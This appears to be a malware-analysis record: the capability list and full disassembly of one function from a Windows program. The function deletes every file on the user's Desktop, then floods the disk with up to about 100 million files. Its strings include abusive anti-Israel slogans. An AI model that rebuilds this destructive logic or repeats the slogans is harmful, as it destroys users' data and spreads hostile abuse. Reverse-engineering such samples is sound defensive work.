Function at 0x407a10
Capabilities:
Delete file
Enumerate files on windows
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3e8
call fcn.00401710
lea rcx, str.USERPROFILE
call sub.msvcrt.dll_getenv
mov rsi, rax
lea rax, [rsp + 0x50]
test rsi, rsi
lea rdi, [rax + 0x10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rdi
je 0x40828c
mov rcx, rsi
call sub.msvcrt.dll_strlen
cmp rax, 0xf
mov rbx, rax
mov qword [rsp + 0x210], rax
ja 0x408252
cmp rax, 1
jne 0x407cbc
movzx eax, byte [rsi]
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov byte [rdx + rax], 0
lea rdx, str.Desktop_
call fcn.004015f0
mov rdx, qword [rsp + 0x50]
lea rbx, [rsp + 0x210]
xor r9d, r9d
mov r8, qword [rsp + 0x58]
lea rax, [rbx + 0x10]
mov rcx, rbx
mov qword [rsp + 0x210], rax
add r8, rdx
call fcn.00407950
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x218], rax
je 0x4082e7
lea rdx, [0x0040a055]
mov r8d, 1
mov rcx, rbx
call fcn.004015e8
lea rdi, [rsp + 0xd0]
mov rcx, qword [rsp + 0x210]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, qword [rsp + 0x210]
mov rbp, rax
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x407b33
call sub.libstdc_6.dll_operator_delete_void_
cmp rbp, 0xffffffffffffffff
je 0x408298
mov r13, qword [sym.imp.libstdc_6.dll_std::cout]
movabs r12, 0x7fffffffffffffff
mov r14, r13
jmp 0x407bab
movsx edx, byte [rsi + 0x43]
mov rcx, r15
call fcn.00401640
mov rcx, rax
call fcn.00401638
mov rcx, qword [rsp + 0x210]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x407cd0
mov rcx, qword [rsp + 0x210]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x407b93
call sub.libstdc_6.dll_operator_delete_void_
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
mov dword [rsp + 0x44], eax
je 0x407d12
test byte [rsp + 0xd0], 0x10
jne 0x407b93
mov rdx, qword [rsp + 0x50]
lea rax, [rbx + 0x10]
xor r9d, r9d
mov rcx, rbx
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x210], rax
add r8, rdx
call fcn.00407950
lea rcx, [rdi + 0x2c]
mov r8, rcx
mov edx, dword [r8]
add r8, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x407be0
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r8 + 2]
mov esi, eax
cmove r8, rdx
add sil, al
mov rax, r12
sbb r8, 3
sub rax, qword [rsp + 0x218]
sub r8, rcx
cmp r8, rax
ja 0x4082f3
lea rdx, [rdi + 0x2c]
mov rcx, rbx
call fcn.004015e8
lea rdx, str.Not_Removing
mov r8d, 0xc
mov rcx, r13
call fcn.004015a8
mov r8, qword [rsp + 0x218]
mov rcx, r14
mov rdx, qword [rsp + 0x210]
call fcn.004015a8
mov r15, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov rsi, qword [r15 + rax + 0xf0]
test rsi, rsi
je 0x4082ff
cmp byte [rsi + 0x38], 0
jne 0x407b53
mov rcx, rsi
call fcn.00401648
mov rax, qword [rsi]
lea rcx, [0x00407940]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x407b57
mov rcx, rsi
call rax
movsx edx, al
jmp 0x407b57
test rax, rax
je 0x407a81
mov rax, rdi
jmp 0x408279
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
mov r8d, 0xe
lea rdx, str.error_removing
call fcn.004015a8
mov r8, qword [rsp + 0x218]
mov rdx, qword [rsp + 0x210]
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call fcn.004015a8
mov rcx, rax
call fcn.00401588
jmp 0x407b7d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ios_char__std::char_traits_char___]
xor ebp, ebp
movabs r15, 0x7fffffffffffffff
lea r13, [rsp + 0xb0]
add rax, 0x10
mov qword [rsp + 0x30], rax
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
add rax, 0x18
mov qword [rsp + 0x38], rax
jmp 0x407e16
lea rcx, [rbx + 8]
call fcn.00401620
test rax, rax
je 0x4081f0
mov rax, qword [rsp + 0x38]
lea rcx, [rbx + 8]
add rsi, 0x10
mov qword [rsp + 0x210], rax
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
add rax, 0x40
mov qword [rsp + 0x2d8], rax
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_filebuf_char__std::char_traits_char___]
add rax, 0x10
mov qword [rsp + 0x218], rax
call fcn.00401620
lea rcx, [rbx + 0x50]
call fcn.00401630
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_streambuf_char__std::char_traits_char___]
lea rcx, [rbx + 0x40]
add rax, 0x10
mov qword [rsp + 0x218], rax
call fcn.00401600
mov rax, qword [rdi - 0x18]
mov qword [rsp + 0x210], rdi
lea rcx, [rbx + 0xc8]
mov qword [rsp + rax + 0x210], r12
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x2d8], rax
call fcn.004015c0
mov rcx, qword [rsp + 0x70]
cmp rcx, rsi
je 0x407e07
call sub.libstdc_6.dll_operator_delete_void_
add ebp, 1
cmp ebp, 0x5f5e0ff
je 0x40820f
mov dword [rsp + 0x20], ebp
mov r8d, 0x10
mov rcx, r13
lea r9, [0x0040a07c]
lea rdx, [0x00401550]
call fcn.004078e0
mov rdx, qword [rsp + 0x50]
lea rdi, [rsp + 0x90]
xor r9d, r9d
mov r8, qword [rsp + 0x58]
lea rax, [rdi + 0x10]
mov rcx, rdi
mov qword [rsp + 0x90], rax
add r8, rdx
call fcn.00407950
mov rax, r15
sub rax, qword [rsp + 0x98]
cmp rax, 0xc
jbe 0x4082d6
lea rdx, str.Fuck_Israel..
mov r8d, 0xd
mov rcx, rdi
call fcn.004015e8
mov r9, qword [rsp + 0x90]
lea rdx, [rdi + 0x10]
mov rcx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xb8]
mov r10, qword [rsp + 0xa0]
cmp r9, rdx
lea rax, [rcx + r8]
je 0x4081d0
cmp rax, r10
mov rdx, qword [rsp + 0xb0]
jbe 0x407ee8
lea r10, [r13 + 0x10]
cmp rdx, r10
je 0x4081e0
mov r10, qword [rsp + 0xc0]
cmp rax, r10
jbe 0x4081b0
mov rcx, rdi
call fcn.004015e8
lea rdx, [rbx + 0x10]
mov qword [rsp + 0x210], rdx
mov rcx, qword [rax]
lea rdx, [rax + 0x10]
cmp rcx, rdx
je 0x408150
mov qword [rsp + 0x210], rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x220], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x218], rcx
mov qword [rax], rdx
mov qword [rax + 8], 0
mov byte [rax + 0x10], 0
mov rax, r15
sub rax, qword [rsp + 0x218]
cmp rax, 2
jbe 0x4082ca
lea rdx, [0x0040a08d]
mov r8d, 3
mov rcx, rbx
call fcn.004015e8
lea rsi, [rsp + 0x70]
lea rdx, [rsi + 0x10]
mov qword [rsp + 0x70], rdx
mov rcx, qword [rax]
lea rdx, [rax + 0x10]
cmp rcx, rdx
je 0x408172
mov qword [rsp + 0x70], rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x80], rcx
mov rcx, qword [rax + 8]
mov byte [rax + 0x10], 0
mov qword [rsp + 0x78], rcx
mov qword [rax], rdx
mov qword [rax + 8], 0
mov rcx, qword [rsp + 0x210]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x407fc2
call sub.libstdc_6.dll_operator_delete_void_
mov rcx, qword [rsp + 0x90]
add rdi, 0x10
cmp rcx, rdi
je 0x407fd8
call sub.libstdc_6.dll_operator_delete_void_
mov rcx, qword [rsp + 0xb0]
lea rax, [r13 + 0x10]
cmp rcx, rax
je 0x407fee
call sub.libstdc_6.dll_operator_delete_void_
lea rcx, [rbx + 0xc8]
call fcn.004015c8
mov rax, qword [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x3b0], 0
mov qword [rsp + 0x3c0], 0
mov qword [rsp + 0x3c8], 0
mov qword [rsp + 0x3d0], 0
mov qword [rsp + 0x2d8], rax
xor eax, eax
mov word [rsp + 0x3b8], ax
mov rax, qword [sym.imp.libstdc_6.dll_VTT_for_std::basic_ofstream_char__std::char_traits_char___]
mov qword [rsp + 0x3d8], 0
mov rdi, qword [rax + 8]
mov r12, qword [rax + 0x10]
mov rcx, qword [rdi - 0x18]
mov qword [rsp + 0x210], rdi
add rcx, rbx
mov qword [rcx], r12
call fcn.004015b8
mov rax, qword [rsp + 0x38]
lea rcx, [rbx + 8]
mov qword [rsp + 0x210], rax
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
add rax, 0x40
mov qword [rsp + 0x2d8], rax
call fcn.00401618
lea rdx, [rbx + 8]
lea rcx, [rbx + 0xc8]
call fcn.004015b8
mov rdx, qword [rsp + 0x70]
lea rcx, [rbx + 8]
mov r8d, 0x10
call fcn.00401628
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rdx - 0x18]
add rcx, rbx
test rax, rax
je 0x408162
xor edx, edx
call fcn.004015b0
lea rcx, [rbx + 0x50]
call fcn.00401650
test al, al
jne 0x407d54
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
mov r8d, 7
lea rdx, str.ITCF...
call fcn.004015a8
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rdx, qword [rax]
mov rdx, qword [rdx - 0x18]
mov r14, qword [rdx + rax + 0xf0]
test r14, r14
je 0x4082e2
cmp byte [r14 + 0x38], 0
je 0x408184
movsx edx, byte [r14 + 0x43]
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call fcn.00401640
mov rcx, rax
call fcn.00401638
jmp 0x407d66
movdqu xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x220], xmm0
jmp 0x407f20
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.004015b0
jmp 0x4080e1
movdqu xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x80], xmm1
jmp 0x407f94
mov rcx, r14
call fcn.00401648
mov rax, qword [r14]
lea rcx, [0x00407940]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x408136
mov rcx, r14
call rax
movsx edx, al
jmp 0x408136
mov qword [rsp + 0x20], rcx
xor r8d, r8d
xor edx, edx
mov rcx, r13
call fcn.004015f8
jmp 0x407ef0
mov r10d, 0xf
jmp 0x407ebd
mov r10d, 0xf
jmp 0x407edf
mov rax, qword [rsp + 0x210]
mov rcx, qword [rax - 0x18]
add rcx, rbx
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.004015b0
jmp 0x407d66
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
lea rdx, str.Enjoy_Getting_Fucked_Up__and_dont_forget_Fuck_Israel_:__.
call fcn.00401580
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
add rax, 0x10
cmp rcx, rax
je 0x40823a
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [rsp + 0x44]
add rsp, 0x3e8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x210]
xor r8d, r8d
call fcn.004015e0
mov rdx, qword [rsp + 0x210]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rdx
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call sub.msvcrt.dll_memcpy
jmp 0x407a81
lea rcx, str.basic_string::_M_construct_null_not_valid
call fcn.00401598
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
mov r8d, 8
lea rdx, str.notfound
call fcn.004015a8
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call fcn.00401588
mov dword [rsp + 0x44], 1
jmp 0x408222
lea rcx, str.basic_string::append
call fcn.00401590
lea rcx, str.basic_string::append
call fcn.00401590
call fcn.004015a0
lea rcx, str.basic_string::append
call fcn.00401590
lea rcx, str.basic_string::append
call fcn.00401590
call fcn.004015a0
mov rbp, rax
jmp 0x408315
mov rax, qword [rdi - 0x18]
mov qword [rsp + 0x210], rdi
mov qword [rsp + rax + 0x210], r12
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ios_char__std::char_traits_char___]
lea rcx, [rbx + 0xc8]
mov rdi, rbp
add rax, 0x10
mov qword [rsp + 0x2d8], rax
call fcn.004015c0
mov rcx, qword [rsp + 0x70]
add rsi, 0x10
cmp rcx, rsi
je 0x40835e
call sub.libstdc_6.dll_operator_delete_void_
mov rsi, rdi
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
cmp rcx, rdx
je 0x408379
call sub.libstdc_6.dll_operator_delete_void_
mov rcx, rsi
call sub.libgcc_s_seh_1.dll__Unwind_Resume
mov rbx, rax
mov rcx, qword [rsp + 0x90]
add rdi, 0x10
cmp rcx, rdi
je 0x40839a
call sub.libstdc_6.dll_operator_delete_void_
mov rcx, qword [rsp + 0xb0]
add r13, 0x10
cmp rcx, r13
je 0x4083b0
call sub.libstdc_6.dll_operator_delete_void_
mov rsi, rbx
jmp 0x408361